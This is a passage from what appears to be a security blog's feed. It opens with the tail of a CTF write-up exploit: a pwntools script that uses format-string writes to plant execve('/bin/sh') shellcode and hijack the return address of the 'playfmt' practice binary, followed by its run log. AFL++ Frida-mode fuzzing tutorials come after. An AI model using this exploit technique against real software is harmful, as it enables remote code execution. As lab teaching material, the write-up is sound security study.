os=<span class="string">&quot;linux&quot;</span>)</span><br><span class="line">check = disasm(shell_bs)</span><br><span class="line">l(<span class="string">&quot;check&quot;</span>, check)</span><br><span class="line"></span><br><span class="line">l(<span class="string">&quot;shell_bs&quot;</span>, shell_bs)</span><br><span class="line">hexstr = <span class="string">&#x27;&#x27;</span></span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="built_in">len</span>(shell_bs)):</span><br><span class="line">    hexstr += <span class="string">&#x27;\\x&#x27;</span> +  <span class="built_in">hex</span>(shell_bs[i])[<span class="number">2</span>:]</span><br><span class="line"></span><br><span class="line">l(<span class="string">&quot;hexstr&quot;</span>, hexstr)</span><br><span class="line"></span><br><span class="line"><span class="comment">### 将shellcode放到chain-0x300的位置</span></span><br><span class="line"></span><br><span class="line">shell_addr = chain &amp; <span class="number">0xffff00ff</span></span><br><span class="line">l(<span class="string">&quot;shell_addr&quot;</span>, <span class="built_in">hex</span>(shell_addr))</span><br><span class="line"></span><br><span class="line"><span class="comment">## write int8 value to address by low16</span></span><br><span class="line"><span class="comment"># 通过栈低16位定位写入地址，写入指定值(int8)</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">write_int8</span>(<span class="params">addr_low16, byte_value</span>):</span><br><span class="line">    log.info(<span class="string">f&quot;write_int8: <span class="subst">&#123;<span class="built_in">hex</span>(addr_low16)&#125;</span> <span class="subst">&#123;<span class="built_in">hex</span>(byte_value)&#125;</span>&quot;</span>)</span><br><span class="line">    addr_low16 = addr_low16 &amp; <span class="number">0xffff</span></span><br><span class="line"></span><br><span class="line">    <span class="comment"># change 0b:002c value low16</span></span><br><span class="line">    payload = <span class="string">f&quot;%<span class="subst">&#123;addr_low16&#125;</span>c%21$hn&quot;</span></span><br><span class="line">    payload = payload.encode()</span><br><span class="line">    payload += <span class="string">b&quot;\n\x00&quot;</span></span><br><span class="line">    <span class="comment"># log.info(f&quot;payload 1: &#123;payload&#125;&quot;)</span></span><br><span class="line">    io.send(payload)</span><br><span class="line">    ctn = <span class="string">&quot;&quot;</span></span><br><span class="line">    ctn = io.recvuntil(<span class="string">b&quot;\n&quot;</span>)</span><br><span class="line">    </span><br><span class="line">    </span><br><span class="line">    <span class="comment"># change addr_low16 value </span></span><br><span class="line">    payload = <span class="string">f&quot;%<span class="subst">&#123;byte_value&#125;</span>c%57$hhn&quot;</span></span><br><span class="line">    <span class="keyword">if</span> byte_value == <span class="number">0</span>:</span><br><span class="line">        payload = <span class="string">f&quot;%57$hhn&quot;</span></span><br><span class="line">    payload = payload.encode()</span><br><span class="line">    payload += <span class="string">b&quot;\n\x00&quot;</span></span><br><span class="line">    <span class="comment"># log.info(f&quot;payload 2: &#123;payload&#125;&quot;)</span></span><br><span class="line">    io.send(payload)</span><br><span class="line">    ctn = <span class="string">&quot;&quot;</span></span><br><span class="line">    ctn = io.recvuntil(<span class="string">b&quot;\n&quot;</span>)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">0</span>, <span class="built_in">len</span>(shell_bs)):</span><br><span class="line">    aByte = shell_bs[i]</span><br><span class="line">    addr_low16 = shell_addr + i</span><br><span class="line"></span><br><span class="line">    write_int8(addr_low16, aByte)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="comment"># # # 返回地址修改为shell_addr</span></span><br><span class="line"></span><br><span class="line">ret_addr = ebp - <span class="number">0xc</span>    <span class="comment"># 0xff88e6d4 - 0xe8  --&gt; esp </span></span><br><span class="line">l(<span class="string">&quot;ret_addr&quot;</span>, <span class="built_in">hex</span>(ret_addr))</span><br><span class="line"></span><br><span class="line">shell_addr_bs = p32(shell_addr)</span><br><span class="line">l(<span class="string">&quot;shell_addr&quot;</span>, <span class="built_in">hex</span>(shell_addr))</span><br><span class="line"><span class="comment"># l(&quot;shell_addr_bs&quot;, shell_addr_bs)</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">0</span>, <span class="built_in">len</span>(shell_addr_bs)):</span><br><span class="line">    aByte = shell_addr_bs[i]</span><br><span class="line">    addr_low16 = ret_addr + i</span><br><span class="line"></span><br><span class="line">    write_int8(addr_low16, aByte)</span><br><span class="line"></span><br><span class="line"><span class="comment"># # quit 触发返回</span></span><br><span class="line">io.sendline(<span class="string">b&quot;quit&quot;</span>)</span><br><span class="line"><span class="comment"># ctn = io.recv()</span></span><br><span class="line"></span><br><span class="line"><span class="comment">####### Got Shell #######</span></span><br><span class="line"><span class="comment"># cat flag</span></span><br><span class="line">io.sendline(<span class="string">b&#x27;cat flag&#x27;</span>)</span><br><span class="line">flag = io.recv()</span><br><span class="line">log.info(<span class="string">f&quot;flag: <span class="subst">&#123;flag&#125;</span>&quot;</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment"># ============================================================</span></span><br><span class="line"><span class="comment"># io.interactive()</span></span><br><span class="line">io.close()</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="comment">#### 附录：</span></span><br><span class="line"><span class="comment">#    </span></span><br><span class="line"><span class="string">&quot;&quot;&quot;</span></span><br><span class="line"><span class="string">16:0058│     0xff88e644 —▸ 0xff88e6d4 —▸ 0xff8900ca ◂— &#x27;../playfmt&#x27;</span></span><br><span class="line"><span class="string">...</span></span><br><span class="line"><span class="string">3a:00e8│     0xff88e6d4 —▸ 0xff8900ca ◂— &#x27;../playfmt&#x27;</span></span><br><span class="line"><span class="string">&quot;&quot;&quot;</span></span><br><span class="line"></span><br></pre></td></tr></table></figure><h1 id="output-example"><a class="markdownIt-Anchor" href="#output-example"></a> Output Example</h1><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br></pre></td><td class="code"><pre><span class="line">╰─$ python exp.py REMOTE</span><br><span class="line">[*] &#x27;hitcontraining_playfmt/playfmt&#x27;</span><br><span class="line">    Arch:     i386-32-little</span><br><span class="line">    RELRO:    Partial RELRO</span><br><span class="line">    Stack:    No canary found</span><br><span class="line">    NX:       NX disabled</span><br><span class="line">    PIE:      No PIE (0x8048000)</span><br><span class="line">    RWX:      Has RWX segments</span><br><span class="line">[*] &#x27;/lib/i386-linux-gnu/libc-2.27.so&#x27;</span><br><span class="line">    Arch:     i386-32-little</span><br><span class="line">    RELRO:    Partial RELRO</span><br><span class="line">    Stack:    Canary found</span><br><span class="line">    NX:       NX enabled</span><br><span class="line">    PIE:      PIE enabled</span><br><span class="line">[+] Opening connection to node4.buuoj.cn on port 28106: Done</span><br><span class="line">[*] ebp -&gt; 0xffb2d448</span><br><span class="line">[*] chain -&gt; 0xffb2d504</span><br><span class="line">[*] check -&gt;    0:   31 c9                   xor    ecx, ecx</span><br><span class="line">       2:   f7 e1                   mul    ecx</span><br><span class="line">       4:   50                      push   eax</span><br><span class="line">       5:   b0 0b                   mov    al, 0xb</span><br><span class="line">       7:   68 2f 2f 73 68          push   0x68732f2f</span><br><span class="line">       c:   68 2f 62 69 6e          push   0x6e69622f</span><br><span class="line">      11:   89 e3                   mov    ebx, esp</span><br><span class="line">      13:   cd 80                   int    0x80</span><br><span class="line">[*] shell_bs -&gt; b&#x27;1\xc9\xf7\xe1P\xb0\x0bh//shh/bin\x89\xe3\xcd\x80&#x27;</span><br><span class="line">[*] hexstr -&gt; \x31\xc9\xf7\xe1\x50\xb0\xb\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80</span><br><span class="line">[*] shell_addr -&gt; 0xffb20004</span><br><span class="line">[*] write_int8: 0xffb20004 0x31</span><br><span class="line">[*] write_int8: 0xffb20005 0xc9</span><br><span class="line">[*] write_int8: 0xffb20006 0xf7</span><br><span class="line">[*] write_int8: 0xffb20007 0xe1</span><br><span class="line">[*] write_int8: 0xffb20008 0x50</span><br><span class="line">[*] write_int8: 0xffb20009 0xb0</span><br><span class="line">[*] write_int8: 0xffb2000a 0xb</span><br><span class="line">[*] write_int8: 0xffb2000b 0x68</span><br><span class="line">[*] write_int8: 0xffb2000c 0x2f</span><br><span class="line">[*] write_int8: 0xffb2000d 0x2f</span><br><span class="line">[*] write_int8: 0xffb2000e 0x73</span><br><span class="line">[*] write_int8: 0xffb2000f 0x68</span><br><span class="line">[*] write_int8: 0xffb20010 0x68</span><br><span class="line">[*] write_int8: 0xffb20011 0x2f</span><br><span class="line">[*] write_int8: 0xffb20012 0x62</span><br><span class="line">[*] write_int8: 0xffb20013 0x69</span><br><span class="line">[*] write_int8: 0xffb20014 0x6e</span><br><span class="line">[*] write_int8: 0xffb20015 0x89</span><br><span class="line">[*] write_int8: 0xffb20016 0xe3</span><br><span class="line">[*] write_int8: 0xffb20017 0xcd</span><br><span class="line">[*] write_int8: 0xffb20018 0x80</span><br><span class="line">[*] ret_addr -&gt; 0xffb2d43c</span><br><span class="line">[*] shell_addr -&gt; 0xffb20004</span><br><span class="line">[*] write_int8: 0xffb2d43c 0x4</span><br><span class="line">[*] write_int8: 0xffb2d43d 0x0</span><br><span class="line">[*] write_int8: 0xffb2d43e 0xb2</span><br><span class="line">[*] write_int8: 0xffb2d43f 0xff</span><br><span class="line">[*] flag: b&#x27;flag&#123;▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇&#125;\n&#x27;</span><br><span class="line">[*] Closed connection to node4.buuoj.cn port 28106</span><br></pre></td></tr></table></figure><h1 id="the-challenge"><a class="markdownIt-Anchor" href="#the-challenge"></a> The Challenge</h1><p><a href="https://buuoj.cn/challenges#hitcontraining_playfmt">https://buuoj.cn/challenges#hitcontraining_playfmt</a></p>]]></content>
    
    
      
      
    <summary type="html">&lt;h1 id=&quot;checksec&quot;&gt;&lt;a class=&quot;markdownIt-Anchor&quot; href=&quot;#checksec&quot;&gt;&lt;/a&gt; Checksec&lt;/h1&gt;
&lt;figure class=&quot;highlight plaintext&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=</summary>
      
    
    
    
    <category term="Write Up" scheme="http://www.4x7.fun/categories/Write-Up/"/>
    
    
    <category term="Write Up" scheme="http://www.4x7.fun/tags/Write-Up/"/>
    
    <category term="Format String Attack" scheme="http://www.4x7.fun/tags/Format-String-Attack/"/>
    
  </entry>
  
  <entry>
    <title>AFL++ Frida-Mode: Usecases for testing and debugging</title>
    <link href="http://www.4x7.fun/2022/04/07/AFL-Frida-Mode-Usecases-for-testing-and-debugging/"/>
    <id>http://www.4x7.fun/2022/04/07/AFL-Frida-Mode-Usecases-for-testing-and-debugging/</id>
    <published>2022-04-07T14:48:39.000Z</published>
    <updated>2022-04-20T03:56:26.000Z</updated>
    
    <content type="html"><![CDATA[<h1 id="fuzzing"><a class="markdownIt-Anchor" href="#fuzzing"></a> Fuzzing</h1><p>明确指明需要加载的<code>AFL_PRELOAD=</code>环境变量值为<code>/usr/local/lib/afl/afl-frida-trace.so</code>、且需要加载的<code>harness</code> javascript文件为<code>afl.js</code>时:</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">AFL_PRELOAD=/usr/local/lib/afl/afl-frida-trace.so AFL_FRIDA_JS_SCRIPT=fuzz.js afl-fuzz -D -O -i <span class="keyword">in</span> -o out -t 10000+ -- ./build/test ./build/dummy</span><br></pre></td></tr></table></figure><p>由于<code>afl-frida-trace.so</code>在<code>PATH</code>中，且<code>AFL++ Frida_Mode</code>默认寻找二进制同目录下的<code>afl.js</code>加载。因此以上可简写为：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">afl-fuzz -D -O -i <span class="keyword">in</span> -o out -t 10000+ -- ./build/test ./build/dummy</span><br></pre></td></tr></table></figure><blockquote><p>(注意有时在<code>persistent</code>时，有时用<code>dummy input</code>作为输入文件。以防止初始运行时找不到<code>out/default/.cur_input</code>文件而报错)</p></blockquote><p>当需要输出<code>forkserver</code>的子进程的以便调试时：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">AFL_CHILD_DEBUG=1 afl-fuzz -O -D -i <span class="keyword">in</span> -o out -- ./build/testinstr @@</span><br></pre></td></tr></table></figure><h1 id="gdb-debugging"><a class="markdownIt-Anchor" href="#gdb-debugging"></a> GDB Debugging</h1><p>命令如下：</p><p>Example 1: 开启<code>AFL_DEBUG_CHILD</code></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">gdb \</span><br><span class="line">    --ex <span class="string">&#x27;set environment LD_PRELOAD=/usr/local/lib/afl/afl-frida-trace.so&#x27;</span> \</span><br><span class="line">    --ex <span class="string">&#x27;set environment AFL_FRIDA_JS_SCRIPT=afl.js&#x27;</span> \</span><br><span class="line">    --ex <span class="string">&#x27;set environment AFL_DEBUG_CHILD=1&#x27;</span> \</span><br><span class="line">    --ex <span class="string">&#x27;set disassembly-flavor intel&#x27;</span> \</span><br><span class="line">    --args ./build/testinstr ./build/in/in</span><br></pre></td></tr></table></figure><p>Example 2:</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">gdb \</span><br><span class="line">    --ex <span class="string">&#x27;set environment LD_PRELOAD=/usr/local/lib/afl/afl-frida-trace.so&#x27;</span> \</span><br><span class="line">    --ex <span class="string">&#x27;set environment AFL_FRIDA_JS_SCRIPT=afl.js&#x27;</span> \</span><br><span class="line">    --ex <span class="string">&#x27;set disassembly-flavor intel&#x27;</span> \</span><br><span class="line">    --args ./build/testinstr ./build/in/in</span><br></pre></td></tr></table></figure><h1 id="scripting"><a class="markdownIt-Anchor" href="#scripting"></a> Scripting</h1><p>一个简单且方便调试的<code>harness</code>js 脚本如下</p><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br></pre></td><td class="code"><pre><span class="line"><span class="title class_">Afl</span>.<span class="title function_">print</span>(<span class="string">&quot;----------------------------------------&quot;</span>);</span><br><span class="line"><span class="title class_">Afl</span>.<span class="title function_">print</span>(<span class="string">&quot;|             4x7 = 28                 |&quot;</span>);</span><br><span class="line"><span class="title class_">Afl</span>.<span class="title function_">print</span>(<span class="string">&quot;----------------------------------------&quot;</span>);</span><br><span class="line"></span><br><span class="line"><span class="title class_">Afl</span>.<span class="title function_">print</span>(<span class="string">&quot;pid: &quot;</span> + <span class="title class_">Process</span>.<span class="property">id</span>);</span><br><span class="line"><span class="keyword">const</span> name = <span class="title class_">Process</span>.<span class="title function_">enumerateModules</span>()[<span class="number">0</span>].<span class="property">name</span>;</span><br><span class="line"><span class="title class_">Afl</span>.<span class="title function_">print</span>(<span class="string">`Name: <span class="subst">$&#123;name&#125;</span>`</span>);</span><br><span class="line"></span><br><span class="line"><span class="keyword">new</span> <span class="title class_">ModuleMap</span>().<span class="title function_">values</span>().<span class="title function_">forEach</span>(<span class="function"><span class="params">m</span> =&gt;</span> &#123;</span><br><span class="line">    <span class="title class_">Afl</span>.<span class="title function_">print</span>(<span class="string">`<span class="subst">$&#123;m.base&#125;</span>-<span class="subst">$&#123;m.base.add(m.size)&#125;</span> <span class="subst">$&#123;m.name&#125;</span>`</span>);</span><br><span class="line">&#125;);</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="comment">//address of testinstr</span></span><br><span class="line"><span class="comment">// var testinstr_addr = Module.findExportByName(null, &quot;testinstr&quot;);</span></span><br><span class="line"><span class="comment">// var testinstr_addr = DebugSymbol.forName(&quot;testinstr&quot;).address;</span></span><br><span class="line"><span class="keyword">const</span> <span class="variable language_">module</span> = <span class="title class_">Process</span>.<span class="title function_">enumerateModules</span>()[<span class="number">0</span>];</span><br><span class="line"><span class="title class_">Afl</span>.<span class="title function_">print</span>(<span class="string">&quot;Module.base: &quot;</span> + <span class="variable language_">module</span>.<span class="property">base</span>);</span><br><span class="line"><span class="keyword">const</span> testinstr_addr = <span class="variable language_">module</span>.<span class="property">base</span>.<span class="title function_">add</span>(<span class="number">0x8ca</span>);</span><br><span class="line"><span class="title class_">Afl</span>.<span class="title function_">print</span>(<span class="string">&quot;testinstr_addr: &quot;</span> + testinstr_addr);</span><br><span class="line"></span><br><span class="line"><span class="keyword">const</span> cm = <span class="keyword">new</span> <span class="title class_">CModule</span>(<span class="string">`</span></span><br><span class="line"><span class="string">    extern unsigned char * __afl_fuzz_ptr;</span></span><br><span class="line"><span class="string">    extern unsigned int * __afl_fuzz_len;</span></span><br><span class="line"><span class="string">    extern void testinstr(char *buf, int len);</span></span><br><span class="line"><span class="string">    void fuzz(char *buf, int len) &#123;</span></span><br><span class="line"><span class="string">        __afl_fuzz_ptr[*__afl_fuzz_len] = 0;</span></span><br><span class="line"><span class="string">        testinstr(__afl_fuzz_ptr, *__afl_fuzz_len);</span></span><br><span class="line"><span class="string">    &#125;</span></span><br><span class="line"><span class="string">`</span>, &#123;</span><br><span class="line">    <span class="attr">testinstr</span>: testinstr_addr,</span><br><span class="line">    <span class="attr">__afl_fuzz_ptr</span>: <span class="title class_">Afl</span>.<span class="title function_">getAflFuzzPtr</span>(),</span><br><span class="line">    <span class="attr">__afl_fuzz_len</span>: <span class="title class_">Afl</span>.<span class="title function_">getAflFuzzLen</span>()</span><br><span class="line">&#125;);</span><br><span class="line"></span><br><span class="line"><span class="title class_">Afl</span>.<span class="title function_">setEntryPoint</span>(cm.<span class="property">fuzz</span>);</span><br><span class="line"><span class="title class_">Afl</span>.<span class="title function_">setPersistentAddress</span>(cm.<span class="property">fuzz</span>);</span><br><span class="line"><span class="title class_">Afl</span>.<span class="title function_">setInMemoryFuzzing</span>();</span><br><span class="line"><span class="title class_">Afl</span>.<span class="title function_">setJsMainHook</span>(cm.<span class="property">fuzz</span>);</span><br><span class="line"><span class="title class_">Afl</span>.<span class="title function_">print</span>(<span class="string">&quot;done&quot;</span>);</span><br><span class="line"><span class="title class_">Afl</span>.<span class="title function_">done</span>();</span><br></pre></td></tr></table></figure>]]></content>
    
    
      
      
    <summary type="html">&lt;h1 id=&quot;fuzzing&quot;&gt;&lt;a class=&quot;markdownIt-Anchor&quot; href=&quot;#fuzzing&quot;&gt;&lt;/a&gt; Fuzzing&lt;/h1&gt;
&lt;p&gt;明确指明需要加载的&lt;code&gt;AFL_PRELOAD=&lt;/code&gt;环境变量值为&lt;code&gt;/usr/local/</summary>
      
    
    
    
    <category term="Fuzz" scheme="http://www.4x7.fun/categories/Fuzz/"/>
    
    
    <category term="Fuzz" scheme="http://www.4x7.fun/tags/Fuzz/"/>
    
    <category term="Blind-Fuzz" scheme="http://www.4x7.fun/tags/Blind-Fuzz/"/>
    
    <category term="AFL++" scheme="http://www.4x7.fun/tags/AFL/"/>
    
    <category term="Frida" scheme="http://www.4x7.fun/tags/Frida/"/>
    
  </entry>
  
  <entry>
    <title>AFL++ Frida-Mode Scripting</title>
    <link href="http://www.4x7.fun/2022/04/05/AFL-Frida-Mode-Scripting/"/>
    <id>http://www.4x7.fun/2022/04/05/AFL-Frida-Mode-Scripting/</id>
    <published>2022-04-05T07:56:35.000Z</published>
    <updated>2022-04-20T03:56:28.000Z</updated>
    
    <content type="html"><![CDATA[<h1 id="scripting"><a class="markdownIt-Anchor" href="#scripting"></a> Scripting</h1><p>FRIDA当前支持使用Javascript配置的能力。依靠FRIDA的脚本引擎（支持调试符号和导出表），这比之前使用环境变量配置FRIDA更加方便。</p><p>在默认情况下，FRIDA模式会在目标文件(要被fuzz的二进制文件)相同目录下寻找<code>afl.js</code>文件，作为FRIDA的配置文件。若为其他文件名，则可使用<code>AFL_FRIDA_JS_SCRIPT</code>环境变量指定。</p><p>在该脚本中，除所有标准的<a href="https://frida.re/docs/javascript-api/">frida api函数</a>外，还另外添加了一些功能函数用以与FRIDA mode自身交互。这些额外的函数可以通过全局变量<code>Afl</code>来访问， 例如 <code>Afl.print(&quot;Hello world&quot;);</code> 取代 <code>console.log(&quot;Hello World&quot;);</code></p><p>在使用中若需要调试，则使用环境变量<code>AFL_DEBUG_CHILD=1</code>.</p><h2 id="example"><a class="markdownIt-Anchor" href="#example"></a> Example</h2><p>在有符号的二进制中，用户往往更喜欢用符号指定函数地址（例如入口函数或者persistent fuzz的地址）。</p><p>下面的例子使用了API<br /><a href="https://frida.re/docs/javascript-api/#debugsymbol"><code>DebugSymbol.fromName()</code></a>.<br />和<br /><a href="https://frida.re/docs/javascript-api/#module"><code>Module.getExportByName()</code></a>.</p><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/* Use Afl.print instead of console.log */</span></span><br><span class="line"><span class="title class_">Afl</span>.<span class="title function_">print</span>(<span class="string">&#x27;******************&#x27;</span>);</span><br><span class="line"><span class="title class_">Afl</span>.<span class="title function_">print</span>(<span class="string">&#x27;* AFL FRIDA MODE *&#x27;</span>);</span><br><span class="line"><span class="title class_">Afl</span>.<span class="title function_">print</span>(<span class="string">&#x27;******************&#x27;</span>);</span><br><span class="line"><span class="title class_">Afl</span>.<span class="title function_">print</span>(<span class="string">&#x27;&#x27;</span>);</span><br><span class="line"></span><br><span class="line"><span class="comment">/* Print some useful diagnostics stuff */</span></span><br><span class="line"><span class="title class_">Afl</span>.<span class="title function_">print</span>(<span class="string">`PID: <span class="subst">$&#123;Process.id&#125;</span>`</span>);</span><br><span class="line"></span><br><span class="line"><span class="keyword">new</span> <span class="title class_">ModuleMap</span>().<span class="title function_">values</span>().<span class="title function_">forEach</span>(<span class="function"><span class="params">m</span> =&gt;</span> &#123;</span><br><span class="line">    <span class="title class_">Afl</span>.<span class="title function_">print</span>(<span class="string">`<span class="subst">$&#123;m.base&#125;</span>-<span class="subst">$&#123;m.base.add(m.size)&#125;</span> <span class="subst">$&#123;m.name&#125;</span>`</span>);</span><br><span class="line">&#125;);</span><br><span class="line"></span><br><span class="line"><span class="comment">/*</span></span><br><span class="line"><span class="comment"> * Configure entry-point, persistence etc. This will be what most</span></span><br><span class="line"><span class="comment"> * people want to do.</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"><span class="keyword">const</span> persistent_addr = <span class="title class_">DebugSymbol</span>.<span class="title function_">fromName</span>(<span class="string">&#x27;main&#x27;</span>);</span><br><span class="line"><span class="title class_">Afl</span>.<span class="title function_">print</span>(<span class="string">`persistent_addr: <span class="subst">$&#123;persistent_addr.address&#125;</span>`</span>);</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> (persistent_addr.<span class="property">address</span>.<span class="title function_">equals</span>(<span class="title function_">ptr</span>(<span class="number">0</span>))) &#123;</span><br><span class="line">    <span class="title class_">Afl</span>.<span class="title function_">error</span>(<span class="string">&#x27;Cannot find symbol main&#x27;</span>);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">const</span> persistent_ret = <span class="title class_">DebugSymbol</span>.<span class="title function_">fromName</span>(<span class="string">&#x27;slow&#x27;</span>);</span><br><span class="line"><span class="title class_">Afl</span>.<span class="title function_">print</span>(<span class="string">`persistent_ret: <span class="subst">$&#123;persistent_ret.address&#125;</span>`</span>);</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> (persistent_ret.<span class="property">address</span>.<span class="title function_">equals</span>(<span class="title function_">ptr</span>(<span class="number">0</span>))) &#123;</span><br><span class="line">    <span class="title class_">Afl</span>.<span class="title function_">error</span>(<span class="string">&#x27;Cannot find symbol slow&#x27;</span>);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="title class_">Afl</span>.<span class="title function_">setPersistentAddress</span>(persistent_addr.<span class="property">address</span>);</span><br><span class="line"><span class="title class_">Afl</span>.<span class="title function_">setPersistentReturn</span>(persistent_ret.<span class="property">address</span>);</span><br><span class="line"><span class="title class_">Afl</span>.<span class="title function_">setPersistentCount</span>(<span class="number">1000000</span>);</span><br><span class="line"></span><br><span class="line"><span class="comment">/* Control instrumentation, you may want to do this too */</span></span><br><span class="line"><span class="title class_">Afl</span>.<span class="title function_">setInstrumentLibraries</span>();</span><br><span class="line"><span class="keyword">const</span> mod = <span class="title class_">Process</span>.<span class="title function_">findModuleByName</span>(<span class="string">&quot;libc-2.31.so&quot;</span>)</span><br><span class="line"><span class="title class_">Afl</span>.<span class="title function_">addExcludedRange</span>(mod.<span class="property">base</span>, mod.<span class="property">size</span>);</span><br><span class="line"></span><br><span class="line"><span class="comment">/* Some useful options to configure logging */</span></span><br><span class="line"><span class="title class_">Afl</span>.<span class="title function_">setStdOut</span>(<span class="string">&quot;/tmp/stdout.txt&quot;</span>);</span><br><span class="line"><span class="title class_">Afl</span>.<span class="title function_">setStdErr</span>(<span class="string">&quot;/tmp/stderr.txt&quot;</span>);</span><br><span class="line"></span><br><span class="line"><span class="comment">/* Show the address layout. Sometimes helpful */</span></span><br><span class="line"><span class="title class_">Afl</span>.<span class="title function_">setDebugMaps</span>();</span><br><span class="line"></span><br><span class="line"><span class="comment">/*</span></span><br><span class="line"><span class="comment"> * If you are using these options, then things aren&#x27;t going</span></span><br><span class="line"><span class="comment"> * very well for you.</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"><span class="title class_">Afl</span>.<span class="title function_">setInstrumentDebugFile</span>(<span class="string">&quot;/tmp/instr.log&quot;</span>);</span><br><span class="line"><span class="title class_">Afl</span>.<span class="title function_">setPrefetchDisable</span>();</span><br><span class="line"><span class="title class_">Afl</span>.<span class="title function_">setInstrumentNoOptimize</span>();</span><br><span class="line"><span class="title class_">Afl</span>.<span class="title function_">setInstrumentEnableTracing</span>();</span><br><span class="line"><span class="title class_">Afl</span>.<span class="title function_">setInstrumentTracingUnique</span>();</span><br><span class="line"><span class="title class_">Afl</span>.<span class="title function_">setStatsFile</span>(<span class="string">&quot;/tmp/stats.txt&quot;</span>);</span><br><span class="line"><span class="title class_">Afl</span>.<span class="title function_">setStatsInterval</span>(<span class="number">1</span>);</span><br><span 